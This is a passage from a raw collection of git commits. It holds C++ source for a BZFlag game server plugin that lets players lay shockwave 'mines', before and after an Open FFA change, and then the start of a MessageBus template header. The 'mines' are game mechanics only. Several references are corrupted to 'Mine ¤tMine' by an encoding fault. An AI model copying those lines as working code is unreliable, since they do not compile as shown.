BUILD = 28;\n\n\/\/ A function to replace substrings in a string with another substring\nstd::string ReplaceString(std::string subject, const std::string& search, const std::string& replace)\n{\n size_t pos = 0;\n\n while ((pos = subject.find(search, pos)) != std::string::npos)\n {\n subject.replace(pos, search.length(), replace);\n pos += replace.length();\n }\n\n return subject;\n}\n\nclass UselessMine : public bz_Plugin, public bz_CustomSlashCommandHandler\n{\npublic:\n virtual const char* Name ();\n virtual void Init (const char* config);\n virtual void Event (bz_EventData *eventData);\n virtual void Cleanup (void);\n\n virtual bool SlashCommand (int playerID, bz_ApiString, bz_ApiString, bz_APIStringList*);\n\n virtual int getMineCount ();\n virtual void removeAllMines (int playerID),\n removeMine (int mineIndex),\n setMine (int owner, float pos[3], bz_eTeamType team);\n virtual std::string formatDeathMessage (std::string msg, std::string victim, std::string owner);\n\n \/\/ The information each mine will contain\n struct Mine\n {\n int owner; \/\/ The owner of the mine and the victim, respectively\n\n float x, y, z; \/\/ The coordinates of where the mine was placed\n\n bz_eTeamType team; \/\/ The team of the owner\n\n bool detonated; \/\/ Whether or not the mine has been detonated; to prepare it for removal from play\n\n double detonationTime; \/\/ The time the mine was detonated\n\n Mine (int _owner, float _pos[3], bz_eTeamType _team) :\n owner(_owner),\n x(_pos[0]),\n y(_pos[1]),\n z(_pos[2]),\n team(_team),\n detonated(false)\n {}\n };\n\n std::vector<Mine> activeMines; \/\/ A vector that will store all of the mines that are in play\n std::vector<std::string> deathMessages; \/\/ A vector that will store all of the witty death messages\n\n std::string deathMessagesFile;\n\n double bzdb_SpawnSafetyTime, \/\/ The BZDB variable that will store the amount of seconds a player has before a mine is detonated\n playerSpawnTime[256]; \/\/ The time of a player's last spawn time used to calculate their safety from detonation\n};\n\nBZ_PLUGIN(UselessMine)\n\nconst char* UselessMine::Name (void)\n{\n static std::string pluginBuild = \"\";\n\n if (!pluginBuild.size())\n {\n std::ostringstream pluginBuildStream;\n\n pluginBuildStream << PLUGIN_NAME << \" \" << MAJOR << \".\" << MINOR << \".\" << REV << \" (\" << BUILD << \")\";\n pluginBuild = pluginBuildStream.str();\n }\n\n return pluginBuild.c_str();\n}\n\nvoid UselessMine::Init (const char* commandLine)\n{\n \/\/ Register our events with Register()\n Register(bz_eFlagGrabbedEvent);\n Register(bz_ePlayerDieEvent);\n Register(bz_ePlayerPartEvent);\n Register(bz_ePlayerSpawnEvent);\n Register(bz_ePlayerUpdateEvent);\n\n \/\/ Register our custom slash commands\n bz_registerCustomSlashCommand(\"mine\", this);\n\n \/\/ Set some custom BZDB variables\n bzdb_SpawnSafetyTime = bztk_registerCustomDoubleBZDB(\"_mineSafetyTime\", 5.0);\n\n \/\/ Save the location of the file so we can reload after\n deathMessagesFile = commandLine;\n\n \/\/ Open the file of witty death messages\n std::ifstream file(commandLine);\n std::string currentLine;\n\n \/\/ If the file exists, read each line\n if (file)\n {\n \/\/ Push each line into the deathMessages vector\n while (std::getline(file, currentLine))\n {\n deathMessages.push_back(currentLine);\n }\n\n bz_debugMessagef(2, \"DEBUG :: Useless Mine :: %d witty messages were loaded\", deathMessages.size());\n }\n else\n {\n bz_debugMessage(2, \"WARNING :: Useless Mine :: No witty death messages were loaded\");\n }\n}\n\nvoid UselessMine::Cleanup (void)\n{\n Flush(); \/\/ Clean up all the events\n\n \/\/ Clean up our custom slash commands\n bz_removeCustomSlashCommand(\"mine\");\n}\n\nvoid UselessMine::Event (bz_EventData *eventData)\n{\n switch (eventData->eventType)\n {\n case bz_eFlagGrabbedEvent: \/\/ This event is called each time a flag is grabbed by a player\n {\n bz_FlagGrabbedEventData_V1* flagGrabData = (bz_FlagGrabbedEventData_V1*)eventData;\n\n \/\/ Data\n \/\/ ---\n \/\/ (int) playerID - The player that grabbed the flag\n \/\/ (int) flagID - The flag ID that was grabbed\n \/\/ (bz_ApiString) flagType - The flag abbreviation of the flag that was grabbed\n \/\/ (float[3]) pos - The position at which the flag was grabbed\n \/\/ (double) eventTime - This value is the local server time of the event.\n\n \/\/ If the user grabbed the Useless flag, let them know they can place a mine\n if (strcmp(flagGrabData->flagType, \"US\") == 0)\n {\n bz_sendTextMessage(BZ_SERVER, flagGrabData->playerID, \"You grabbed a Useless flag! Type \/mine at any time to set a useless mine!\");\n }\n }\n break;\n\n\n case bz_ePlayerDieEvent: \/\/ This event is called each time a tank is killed.\n {\n bz_PlayerDieEventData_V1* dieData = (bz_PlayerDieEventData_V1*)eventData;\n\n \/\/ Data\n \/\/ ---\n \/\/ (int) playerID - ID of the player who was killed.\n \/\/ (bz_eTeamType) team - The team the killed player was on.\n \/\/ (int) killerID - The owner of the shot that killed the player, or BZ_SERVER for server side kills\n \/\/ (bz_eTeamType) killerTeam - The team the owner of the shot was on.\n \/\/ (bz_ApiString) flagKilledWith - The flag name the owner of the shot had when the shot was fired.\n \/\/ (int) shotID - The shot ID that killed the player, if the player was not killed by a shot, the id will be -1.\n \/\/ (bz_PlayerUpdateState) state - The state record for the killed player at the time of the event\n \/\/ (double) eventTime - Time of the event on the server.\n\n int playerID = dieData->playerID;\n\n \/\/ Loop through all the mines in play\n for (int i = 0; i < getMineCount(); i++)\n {\n \/\/ Create a local variable for easy access\n Mine &detonatedMine = activeMines.at(i);\n\n \/\/ Check if the mine has already been detonated\n if (detonatedMine.detonated)\n {\n \/\/ If they were killed within the time the shockwave explodes, then we can safely say they were killed by the mine\n if (detonatedMine.detonationTime + bz_getBZDBDouble(\"_shockAdLife\") > bz_getCurrentTime())\n {\n \/\/ Check if the player who just died was killed by the server\n if (dieData->killerID == 253)\n {\n \/\/ Easy to access variables\n float deathPos[3] = {dieData->state.pos[0], dieData->state.pos[1], dieData->state.pos[2]};\n double shockRange = bz_getBZDBDouble(\"_shockOutRadius\") * 0.75;\n\n \/\/ Check if the player died inside of the mine radius\n if ((deathPos[0] > detonatedMine.x - shockRange && deathPos[0] < detonatedMine.x + shockRange) &&\n (deathPos[1] > detonatedMine.y - shockRange && deathPos[1] < detonatedMine.y + shockRange) &&\n (deathPos[2] > detonatedMine.z - shockRange && deathPos[2] < detonatedMine.z + shockRange))\n {\n \/\/ Attribute the kill to the mine owner\n dieData->killerID = detonatedMine.owner;\n\n \/\/ Only get a death messages if death messages exist and the player who died is now also the mine owner\n if (!deathMessages.empty() && playerID != detonatedMine.owner)\n {\n \/\/ The random number used to fetch a random taunting death message\n int randomNumber = rand() % deathMessages.size();\n\n \/\/ Get the callsigns of the players\n const char* owner = bz_getPlayerCallsign(detonatedMine.owner);\n const char* victim = bz_getPlayerCallsign(playerID);\n\n \/\/ Get a random death message\n std::string deathMessage = deathMessages.at(randomNumber);\n bz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, formatDeathMessage(deathMessage, victim, owner).c_str());\n }\n\n break;\n }\n }\n }\n else\n {\n removeMine(i);\n }\n }\n }\n }\n break;\n\n case bz_ePlayerPartEvent: \/\/ This event is called each time a player leaves a game\n {\n bz_PlayerJoinPartEventData_V1* partData = (bz_PlayerJoinPartEventData_V1*)eventData;\n\n \/\/ Data\n \/\/ ---\n \/\/ (int) playerID - The player ID that is leaving\n \/\/ (bz_BasePlayerRecord*) record - The player record for the leaving player\n \/\/ (bz_ApiString) reason - The reason for leaving, such as a kick or a ban\n \/\/ (double) eventTime - Time of event.\n\n int playerID = partData->playerID;\n\n \/\/ Remove all the mines belonging to the player who just left\n removeAllMines(playerID);\n }\n break;\n\n case bz_ePlayerSpawnEvent: \/\/ This event is called each time a playing tank is being spawned into the world\n {\n bz_PlayerSpawnEventData_V1* spawnData = (bz_PlayerSpawnEventData_V1*)eventData;\n\n \/\/ Data\n \/\/ ---\n \/\/ (int) playerID - ID of the player who was added to the world.\n \/\/ (bz_eTeamType) team - The team the player is a member of.\n \/\/ (bz_PlayerUpdateState) state - The state record for the spawning player\n \/\/ (double) eventTime - Time local server time for the event.\n\n int playerID = spawnData->playerID;\n\n \/\/ Save the time the player spawned last\n playerSpawnTime[playerID] = bz_getCurrentTime();\n }\n break;\n\n case bz_ePlayerUpdateEvent: \/\/ This event is called each time a player sends an update to the server\n {\n bz_PlayerUpdateEventData_V1* updateData = (bz_PlayerUpdateEventData_V1*)eventData;\n\n \/\/ Data\n \/\/ ---\n \/\/ (int) playerID - ID of the player that sent the update\n \/\/ (bz_PlayerUpdateState) state - The original state the tank was in\n \/\/ (bz_PlayerUpdateState) lastState - The second state the tank is currently in to show there was an update\n \/\/ (double) stateTime - The time the state was updated\n \/\/ (double) eventTime - The current server time\n\n int playerID = updateData->playerID;\n\n \/\/ Loop through all of the players\n for (int i = 0; i < getMineCount(); i++)\n {\n \/\/ Make an easy access mine\n Mine ¤tMine = activeMines.at(i);\n\n std::shared_ptr<bz_BasePlayerRecord> pr(bz_getPlayerByIndex(playerID));\n\n \/\/ If the mine owner is not the player triggering the mine (so no self kills) and the player is a rogue or does is an enemy team relative to the mine owner\n if (currentMine.owner != playerID && (pr->team == eRogueTeam || pr->team != currentMine.team) && pr->spawned)\n {\n \/\/ Make easy to access variables\n float playerPos[3] = {updateData->state.pos[0], updateData->state.pos[1], updateData->state.pos[2]};\n double shockRange = bz_getBZDBDouble(\"_shockOutRadius\") * 0.75;\n\n \/\/ Check if the player is in the detonation range\n if ((playerPos[0] > currentMine.x - shockRange && playerPos[0] < currentMine.x + shockRange) &&\n (playerPos[1] > currentMine.y - shockRange && playerPos[1] < currentMine.y + shockRange) &&\n (playerPos[2] > currentMine.z - shockRange && playerPos[2] < currentMine.z + shockRange) &&\n playerSpawnTime[playerID] + bzdb_SpawnSafetyTime <= bz_getCurrentTime())\n {\n \/\/ Check that the mine owner exists and is not an observer\n if (bztk_isValidPlayerID(currentMine.owner) && bz_getPlayerTeam(currentMine.owner) != eObservers)\n {\n \/\/ Get the current mine position\n float minePos[3] = {currentMine.x, currentMine.y, currentMine.z};\n\n \/\/ Only detonate a mine once\n if (!currentMine.detonated)\n {\n currentMine.detonated = true;\n currentMine.detonationTime = bz_getCurrentTime();\n\n \/\/ BOOM!\n bz_fireWorldWep(\"SW\", 2.0, BZ_SERVER, minePos, 0, 0, 0, currentMine.team);\n }\n }\n \/\/ Just in case the player doesn't exist or is an observer, then remove the mine because it shouldn't be there\n else\n {\n removeMine(i);\n }\n\n break;\n }\n }\n }\n }\n break;\n\n default: break;\n }\n}\n\nbool UselessMine::SlashCommand(int playerID, bz_ApiString command, bz_ApiString \/*message*\/, bz_APIStringList *params)\n{\n if (command == \"mine\")\n {\n std::shared_ptr<bz_BasePlayerRecord> playerRecord(bz_getPlayerByIndex(playerID));\n\n \/\/ If the player is not an observer, they let them proceed to the next check\n if (playerRecord->team != eObservers)\n {\n \/\/ Check if the player has the Useless flag\n if (playerRecord->currentFlag == \"USeless (+US)\")\n {\n \/\/ Store their current position\n float currentPosition[3] = {playerRecord->lastKnownState.pos[0], playerRecord->lastKnownState.pos[1], playerRecord->lastKnownState.pos[2]};\n\n setMine(playerID, currentPosition, playerRecord->team);\n }\n else\n {\n bz_sendTextMessage(BZ_SERVER, playerID, \"You can't place a mine without the Useless flag!\");\n }\n }\n else\n {\n bz_sendTextMessage(BZ_SERVER, playerID, \"Silly observer, you can't place a mine.\");\n }\n\n return true;\n }\n\n return true;\n}\n\n\/\/ A function to format death messages in order to replace placeholders with callsigns and values\nstd::string UselessMine::formatDeathMessage(std::string msg, std::string victim, std::string owner)\n{\n \/\/ Replace the %victim% and %owner% placeholders\n std::string formattedMessage = ReplaceString(ReplaceString(msg, \"%victim%\", victim), \"%owner%\", owner);\n\n \/\/ If the message has a %minecount%, then replace it\n if (formattedMessage.find(\"%minecount%\") != std::string::npos)\n {\n \/\/ Subtract one from the mine count because the mine we're announcing hasn't beeb removed yet\n int minecount = (getMineCount() == 0) ? 0 : getMineCount() - 1;\n\n formattedMessage = ReplaceString(formattedMessage, \"%minecount%\", std::to_string(minecount));\n }\n\n return formattedMessage;\n}\n\n\n\/\/ A shortcut to get the amount of mines that are in play\nint UselessMine::getMineCount()\n{\n return activeMines.size();\n}\n\n\/\/ Remove all of the mines belonging to a player\nvoid UselessMine::removeAllMines(int playerID)\n{\n \/\/ Go through all of the mines\n for (int i = 0; i < getMineCount(); i++)\n {\n \/\/ Quick access mine\n Mine ¤tMine = activeMines.at(i);\n\n \/\/ If the mine belongs to the player, remove it\n if (currentMine.owner == playerID)\n {\n removeMine(i);\n }\n }\n}\n\n\/\/ A shortcut to remove a mine from play\nvoid UselessMine::removeMine(int mineIndex)\n{\n activeMines.erase(activeMines.begin() + mineIndex);\n}\n\n\/\/ A shortcut to set a mine\nvoid UselessMine::setMine(int owner, float pos[3], bz_eTeamType team)\n{\n \/\/ Remove their flag because it's going to be a US flag\n bz_removePlayerFlag(owner);\n\n \/\/ Push the new mine\n Mine newMine(owner, pos, team);\n activeMines.push_back(newMine);\n}<commit_msg>Make mine detection less sensitive & OpenFFA support<commit_after>\/*\nUselessMine\n Copyright (C) 2014 Vladimir \"allejo\" Jimenez\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <fstream>\n#include <memory>\n#include <stdlib.h>\n#include <string>\n\n#include \"bzfsAPI.h\"\n#include \"bztoolkit\/bzToolkitAPI.h\"\n\n\/\/ Define plugin name\nconst std::string PLUGIN_NAME = \"Useless Mine\";\n\n\/\/ Define plugin version numbering\nconst int MAJOR = 1;\nconst int MINOR = 0;\nconst int REV = 0;\nconst int BUILD = 28;\n\n\/\/ A function to replace substrings in a string with another substring\nstd::string ReplaceString(std::string subject, const std::string& search, const std::string& replace)\n{\n size_t pos = 0;\n\n while ((pos = subject.find(search, pos)) != std::string::npos)\n {\n subject.replace(pos, search.length(), replace);\n pos += replace.length();\n }\n\n return subject;\n}\n\nclass UselessMine : public bz_Plugin, public bz_CustomSlashCommandHandler\n{\npublic:\n virtual const char* Name ();\n virtual void Init (const char* config);\n virtual void Event (bz_EventData *eventData);\n virtual void Cleanup (void);\n\n virtual bool SlashCommand (int playerID, bz_ApiString, bz_ApiString, bz_APIStringList*);\n\n virtual int getMineCount ();\n virtual void removeAllMines (int playerID),\n removeMine (int mineIndex),\n setMine (int owner, float pos[3], bz_eTeamType team);\n virtual std::string formatDeathMessage (std::string msg, std::string victim, std::string owner);\n\n \/\/ The information each mine will contain\n struct Mine\n {\n int owner; \/\/ The owner of the mine and the victim, respectively\n\n float x, y, z; \/\/ The coordinates of where the mine was placed\n\n bz_eTeamType team; \/\/ The team of the owner\n\n bool detonated; \/\/ Whether or not the mine has been detonated; to prepare it for removal from play\n\n double detonationTime; \/\/ The time the mine was detonated\n\n Mine (int _owner, float _pos[3], bz_eTeamType _team) :\n owner(_owner),\n x(_pos[0]),\n y(_pos[1]),\n z(_pos[2]),\n team(_team),\n detonated(false)\n {}\n };\n\n std::vector<Mine> activeMines; \/\/ A vector that will store all of the mines that are in play\n std::vector<std::string> deathMessages; \/\/ A vector that will store all of the witty death messages\n\n std::string deathMessagesFile;\n\n double bzdb_SpawnSafetyTime, \/\/ The BZDB variable that will store the amount of seconds a player has before a mine is detonated\n playerSpawnTime[256]; \/\/ The time of a player's last spawn time used to calculate their safety from detonation\n\n bool openFFA;\n};\n\nBZ_PLUGIN(UselessMine)\n\nconst char* UselessMine::Name (void)\n{\n static std::string pluginBuild = \"\";\n\n if (!pluginBuild.size())\n {\n std::ostringstream pluginBuildStream;\n\n pluginBuildStream << PLUGIN_NAME << \" \" << MAJOR << \".\" << MINOR << \".\" << REV << \" (\" << BUILD << \")\";\n pluginBuild = pluginBuildStream.str();\n }\n\n return pluginBuild.c_str();\n}\n\nvoid UselessMine::Init (const char* commandLine)\n{\n \/\/ Register our events with Register()\n Register(bz_eFlagGrabbedEvent);\n Register(bz_ePlayerDieEvent);\n Register(bz_ePlayerPartEvent);\n Register(bz_ePlayerSpawnEvent);\n Register(bz_ePlayerUpdateEvent);\n\n \/\/ Register our custom slash commands\n bz_registerCustomSlashCommand(\"mine\", this);\n\n \/\/ Set some custom BZDB variables\n bzdb_SpawnSafetyTime = bztk_registerCustomDoubleBZDB(\"_mineSafetyTime\", 5.0);\n\n \/\/ Save the location of the file so we can reload after\n deathMessagesFile = commandLine;\n\n \/\/ We'll ignore team colors if it's an Open FFA game\n openFFA = (bz_getGameType() == eOpenFFAGame);\n\n \/\/ Open the file of witty death messages\n std::ifstream file(commandLine);\n std::string currentLine;\n\n \/\/ If the file exists, read each line\n if (file)\n {\n \/\/ Push each line into the deathMessages vector\n while (std::getline(file, currentLine))\n {\n deathMessages.push_back(currentLine);\n }\n\n bz_debugMessagef(2, \"DEBUG :: Useless Mine :: %d witty messages were loaded\", deathMessages.size());\n }\n else\n {\n bz_debugMessage(2, \"WARNING :: Useless Mine :: No witty death messages were loaded\");\n }\n}\n\nvoid UselessMine::Cleanup (void)\n{\n Flush(); \/\/ Clean up all the events\n\n \/\/ Clean up our custom slash commands\n bz_removeCustomSlashCommand(\"mine\");\n}\n\nvoid UselessMine::Event (bz_EventData *eventData)\n{\n switch (eventData->eventType)\n {\n case bz_eFlagGrabbedEvent: \/\/ This event is called each time a flag is grabbed by a player\n {\n bz_FlagGrabbedEventData_V1* flagGrabData = (bz_FlagGrabbedEventData_V1*)eventData;\n\n \/\/ If the user grabbed the Useless flag, let them know they can place a mine\n if (strcmp(flagGrabData->flagType, \"US\") == 0)\n {\n bz_sendTextMessage(BZ_SERVER, flagGrabData->playerID, \"You grabbed a Useless flag! Type \/mine at any time to set a useless mine!\");\n }\n }\n break;\n\n\n case bz_ePlayerDieEvent: \/\/ This event is called each time a tank is killed.\n {\n bz_PlayerDieEventData_V1* dieData = (bz_PlayerDieEventData_V1*)eventData;\n\n int playerID = dieData->playerID;\n\n \/\/ Loop through all the mines in play\n for (int i = 0; i < getMineCount(); i++)\n {\n \/\/ Create a local variable for easy access\n Mine &detonatedMine = activeMines.at(i);\n\n \/\/ Check if the mine has already been detonated\n if (detonatedMine.detonated)\n {\n\t\t \/\/ Check if the player who just died was killed by the server\n\t\t if (dieData->killerID == 253)\n\t\t {\n\t\t\t\/\/ Easy to access variables\n\t\t\tfloat deathPos[3] = {dieData->state.pos[0], dieData->state.pos[1], dieData->state.pos[2]};\n\t\t\tdouble shockRange = bz_getBZDBDouble(\"_shockOutRadius\") * 0.75;\n\n\t\t\t\/\/ Check if the player died inside of the mine radius\n\t\t\tif ((deathPos[0] > detonatedMine.x - shockRange && deathPos[0] < detonatedMine.x + shockRange) &&\n\t\t\t (deathPos[1] > detonatedMine.y - shockRange && deathPos[1] < detonatedMine.y + shockRange) &&\n\t\t\t (deathPos[2] > detonatedMine.z - shockRange && deathPos[2] < detonatedMine.z + shockRange))\n\t\t\t{\n\t\t\t \/\/ Attribute the kill to the mine owner\n\t\t\t dieData->killerID = detonatedMine.owner;\n\n\t\t\t \/\/ Only get a death messages if death messages exist and the player who died is now also the mine owner\n\t\t\t if (!deathMessages.empty() && playerID != detonatedMine.owner)\n\t\t\t {\n\t\t\t\t\/\/ The random number used to fetch a random taunting death message\n\t\t\t\tint randomNumber = rand() % deathMessages.size();\n\n\t\t\t\t\/\/ Get the callsigns of the players\n\t\t\t\tconst char* owner = bz_getPlayerCallsign(detonatedMine.owner);\n\t\t\t\tconst char* victim = bz_getPlayerCallsign(playerID);\n\n\t\t\t\t\/\/ Get a random death message\n\t\t\t\tstd::string deathMessage = deathMessages.at(randomNumber);\n\t\t\t\tbz_sendTextMessage(BZ_SERVER, BZ_ALLUSERS, formatDeathMessage(deathMessage, victim, owner).c_str());\n\t\t\t }\n\n\t\t\t break;\n\t\t\t}\n }\n else\n {\n removeMine(i);\n }\n }\n }\n }\n break;\n\n case bz_ePlayerPartEvent: \/\/ This event is called each time a player leaves a game\n {\n bz_PlayerJoinPartEventData_V1* partData = (bz_PlayerJoinPartEventData_V1*)eventData;\n\n int playerID = partData->playerID;\n\n \/\/ Remove all the mines belonging to the player who just left\n removeAllMines(playerID);\n }\n break;\n\n case bz_ePlayerSpawnEvent: \/\/ This event is called each time a playing tank is being spawned into the world\n {\n bz_PlayerSpawnEventData_V1* spawnData = (bz_PlayerSpawnEventData_V1*)eventData;\n\n int playerID = spawnData->playerID;\n\n \/\/ Save the time the player spawned last\n playerSpawnTime[playerID] = bz_getCurrentTime();\n }\n break;\n\n case bz_ePlayerUpdateEvent: \/\/ This event is called each time a player sends an update to the server\n {\n bz_PlayerUpdateEventData_V1* updateData = (bz_PlayerUpdateEventData_V1*)eventData;\n\n int playerID = updateData->playerID;\n\n \/\/ Loop through all of the players\n for (int i = 0; i < getMineCount(); i++)\n {\n \/\/ Make an easy access mine\n Mine ¤tMine = activeMines.at(i);\n\n std::unique_ptr<bz_BasePlayerRecord> pr(bz_getPlayerByIndex(playerID));\n\n \/\/ If the mine owner is not the player triggering the mine (so no self kills) and the player is a rogue or does is an enemy team relative to the mine owner\n if (currentMine.owner != playerID && (pr->team == eRogueTeam || pr->team != currentMine.team || openFFA) && pr->spawned)\n {\n \/\/ Make easy to access variables\n float playerPos[3] = {updateData->state.pos[0], updateData->state.pos[1], updateData->state.pos[2]};\n double shockRange = bz_getBZDBDouble(\"_shockOutRadius\") * 0.75;\n\n \/\/ Check if the player is in the detonation range\n if ((playerPos[0] > currentMine.x - shockRange && playerPos[0] < currentMine.x + shockRange) &&\n (playerPos[1] > currentMine.y - shockRange && playerPos[1] < currentMine.y + shockRange) &&\n (playerPos[2] > currentMine.z - shockRange && playerPos[2] < currentMine.z + shockRange) &&\n playerSpawnTime[playerID] + bzdb_SpawnSafetyTime <= bz_getCurrentTime())\n {\n \/\/ Check that the mine owner exists and is not an observer\n if (bztk_isValidPlayerID(currentMine.owner) && bz_getPlayerTeam(currentMine.owner) != eObservers)\n {\n \/\/ Get the current mine position\n float minePos[3] = {currentMine.x, currentMine.y, currentMine.z};\n\n \/\/ Only detonate a mine once\n if (!currentMine.detonated)\n {\n currentMine.detonated = true;\n currentMine.detonationTime = bz_getCurrentTime();\n\n \/\/ BOOM!\n bz_fireWorldWep(\"SW\", 2.0, BZ_SERVER, minePos, 0, 0, 0, currentMine.team);\n }\n }\n \/\/ Just in case the player doesn't exist or is an observer, then remove the mine because it shouldn't be there\n else\n {\n removeMine(i);\n }\n\n break;\n }\n }\n }\n }\n break;\n\n default: break;\n }\n}\n\nbool UselessMine::SlashCommand(int playerID, bz_ApiString command, bz_ApiString \/*message*\/, bz_APIStringList *params)\n{\n if (command == \"mine\")\n {\n std::unique_ptr<bz_BasePlayerRecord> playerRecord(bz_getPlayerByIndex(playerID));\n\n \/\/ If the player is not an observer, they let them proceed to the next check\n if (playerRecord->team != eObservers)\n {\n \/\/ Check if the player has the Useless flag\n if (playerRecord->currentFlag == \"USeless (+US)\")\n {\n \/\/ Store their current position\n float currentPosition[3] = {playerRecord->lastKnownState.pos[0], playerRecord->lastKnownState.pos[1], playerRecord->lastKnownState.pos[2]};\n\n setMine(playerID, currentPosition, playerRecord->team);\n }\n else\n {\n bz_sendTextMessage(BZ_SERVER, playerID, \"You can't place a mine without the Useless flag!\");\n }\n }\n else\n {\n bz_sendTextMessage(BZ_SERVER, playerID, \"Silly observer, you can't place a mine.\");\n }\n\n return true;\n }\n\n return true;\n}\n\n\/\/ A function to format death messages in order to replace placeholders with callsigns and values\nstd::string UselessMine::formatDeathMessage(std::string msg, std::string victim, std::string owner)\n{\n \/\/ Replace the %victim% and %owner% placeholders\n std::string formattedMessage = ReplaceString(ReplaceString(msg, \"%victim%\", victim), \"%owner%\", owner);\n\n \/\/ If the message has a %minecount%, then replace it\n if (formattedMessage.find(\"%minecount%\") != std::string::npos)\n {\n \/\/ Subtract one from the mine count because the mine we're announcing hasn't beeb removed yet\n int minecount = (getMineCount() == 0) ? 0 : getMineCount() - 1;\n\n formattedMessage = ReplaceString(formattedMessage, \"%minecount%\", std::to_string(minecount));\n }\n\n return formattedMessage;\n}\n\n\n\/\/ A shortcut to get the amount of mines that are in play\nint UselessMine::getMineCount()\n{\n return activeMines.size();\n}\n\n\/\/ Remove all of the mines belonging to a player\nvoid UselessMine::removeAllMines(int playerID)\n{\n \/\/ Go through all of the mines\n for (int i = 0; i < getMineCount(); i++)\n {\n \/\/ Quick access mine\n Mine ¤tMine = activeMines.at(i);\n\n \/\/ If the mine belongs to the player, remove it\n if (currentMine.owner == playerID)\n {\n removeMine(i);\n }\n }\n}\n\n\/\/ A shortcut to remove a mine from play\nvoid UselessMine::removeMine(int mineIndex)\n{\n activeMines.erase(activeMines.begin() + mineIndex);\n}\n\n\/\/ A shortcut to set a mine\nvoid UselessMine::setMine(int owner, float pos[3], bz_eTeamType team)\n{\n \/\/ Remove their flag because it's going to be a US flag\n bz_removePlayerFlag(owner);\n\n \/\/ Push the new mine\n Mine newMine(owner, pos, team);\n activeMines.push_back(newMine);\n}<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <deque>\n#include <memory>\n#include <iostream>\n#include <map>\n#include <utility>\n\ntemplate <typename T>\nclass MessageBusProxy;\n\nnamespace {\n\tusing Cursor = long unsigned int;\n\n}\n\ntemplate <typename MessageType>\nclass MessageBus {\n\tpublic:\n\n\t\tMessageBus()=default;\n\n\t\tvoid push(const MessageType& message);\n\n\t\tstatic MessageBus<MessageType>* getBus();\n\n\t\tMessageType* next(MessageBusProxy<MessageType>* proxy);\n\n\tprivate:\n\t\tusing MessageQueue = std::deque<MessageType>;\n\t\tfriend class MessageBusProxy<MessageType>;\n\n\t\tvoid registerProxy(MessageBusProxy<MessageType>* proxy);\n\t\tvoid unregisterProxy(MessageBusProxy<MessageType>* proxy);\n\t\t\n\t\tMessageQueue m_messages;\n\t\tstd::map<MessageBusProxy<MessageType>*, typename MessageQueue::iterator> m_proxys;\n\n\t\tstatic std::unique_ptr<MessageBus<MessageType>> m_bus;\n};\n\n#include \"messagebusqueue.hpp\"\n#include \"messagebusproxy.hpp\"\n\ntemplate <typename MessageType>\nvoid MessageBus<MessageType>::push(const MessageType& message)\n{\n\tif (m_proxys.size() == 0)\n\t\treturn;\n\tMessageBusQueue::instance()->push<MessageType>();\n\tm_messages.push_back(message);\n}\n\ntemplate <typename MessageType>\nMessageBus<MessageType>* MessageBus<MessageType>::getBus()\n{\n\tif (m_bus == nullptr)\n\t{\n\t\tstd::cout << \"bus expired\"<< std::endl;\n\t\tm_bus.reset(new MessageBus<MessageType>());\n\t}\n\treturn m_bus.get();\n}\n\ntemplate <typename MessageType>\nvoid MessageBus<MessageType>::registerProxy(MessageBusProxy<MessageType>* proxy) {\n\tauto cursor = m_messages.begin();\n\tif (m_messages.size() > 0)\n\t\tstd::advance(cursor, m_messages.size()-1);\n\tm_proxys.emplace(proxy, cursor);\n}\n\ntemplate <typename MessageType>\nvoid MessageBus<MessageType>::unregisterProxy(MessageBusProxy<MessageType>* proxy) {\n\tauto _search = m_proxys.find(proxy);\n\tif (_search == m_proxys.end())\n\t\treturn;\n\tm_proxys.erase(_search);\n\n\tif (m_proxys.size() == 0)\n\t\tdelete m_bus.release();\n}\n\ntemplate <typename MessageType>\nMessageType* MessageBus<MessageType>::next(MessageBusProxy<MessageType>* proxy) {\n\t\/\/ TODO : implement next function\n\tauto& iterator = m_proxys.at(proxy);\n\tif (iterator == m_messages.end())\n\t\treturn nullptr;\n\treturn &*(++iterator);\n}\n\ntemplate <typename MessageType>\nstd::unique_ptr<MessageBus<MessageType>> MessageBus<MessageType>::m_bus = nullptr;\n\ntemplate <typename MessageType>\nvoid SendMessage(const MessageType& message) {\n\tMessageBus<MessageType>::getBus()->push(message);\n}\n<commit_msg>Add API to messagebus to send requests.<commit_after>#pragma once\n\n#include <deque>\n#include <memory>\n#include <iostream>\n#include <map>\n#include <utility>\n\ntemplate <typename T>\nclass MessageBusProxy;\n\nnamespace {\n\tusing Cursor = long unsigned int;\n\n}\n\ntemplate <typename MessageType>\nclass MessageBus {\n\tpublic:\n\n\t\tMessageBus()=default;\n\n\t\tvoid push(const MessageType& message);\n\n\t\ttemplate<typename ResponseType>\n\t\tconst std::vector<ResponseType>&& request(const MessageType& message);\n\n\t\tstatic MessageBus<MessageType>* getBus();\n\n\t\tMessageType* next(MessageBusProxy<MessageType>* proxy);\n\n\tprivate:\n\t\tusing MessageQueue = std::deque<MessageType>;\n\t\tfriend class MessageBusProxy<MessageType>;\n\n\t\tvoid registerProxy(MessageBusProxy<MessageType>* proxy);\n\t\tvoid unregisterProxy(MessageBusProxy<MessageType>* proxy);\n\t\t\n\t\tMessageQueue m_messages;\n\t\tstd::map<MessageBusProxy<MessageType>*, typename MessageQueue::iterator> m_proxys;\n\n\t\tstatic std::unique_ptr<MessageBus<MessageType>> m_bus;\n};\n\n#include \"messagebusqueue.hpp\"\n#include \"messagebusproxy.hpp\"\n\ntemplate <typename MessageType>\nvoid MessageBus<MessageType>::push(const MessageType& message)\n{\n\tif (m_proxys.size() == 0)\n\t\treturn;\n\tMessageBusQueue::instance()->push<MessageType>();\n\tm_messages.push_back(message);\n}\n\ntemplate <typename MessageType>\nMessageBus<MessageType>* MessageBus<MessageType>::getBus()\n{\n\tif (m_bus == nullptr)\n\t{\n\t\tstd::cout << \"bus expired\"<< std::endl;\n\t\tm_bus.reset(new MessageBus<MessageType>());\n\t}\n\treturn m_bus.get();\n}\n\ntemplate <typename MessageType>\nvoid MessageBus<MessageType>::registerProxy(MessageBusProxy<MessageType>* proxy) {\n\tauto cursor = 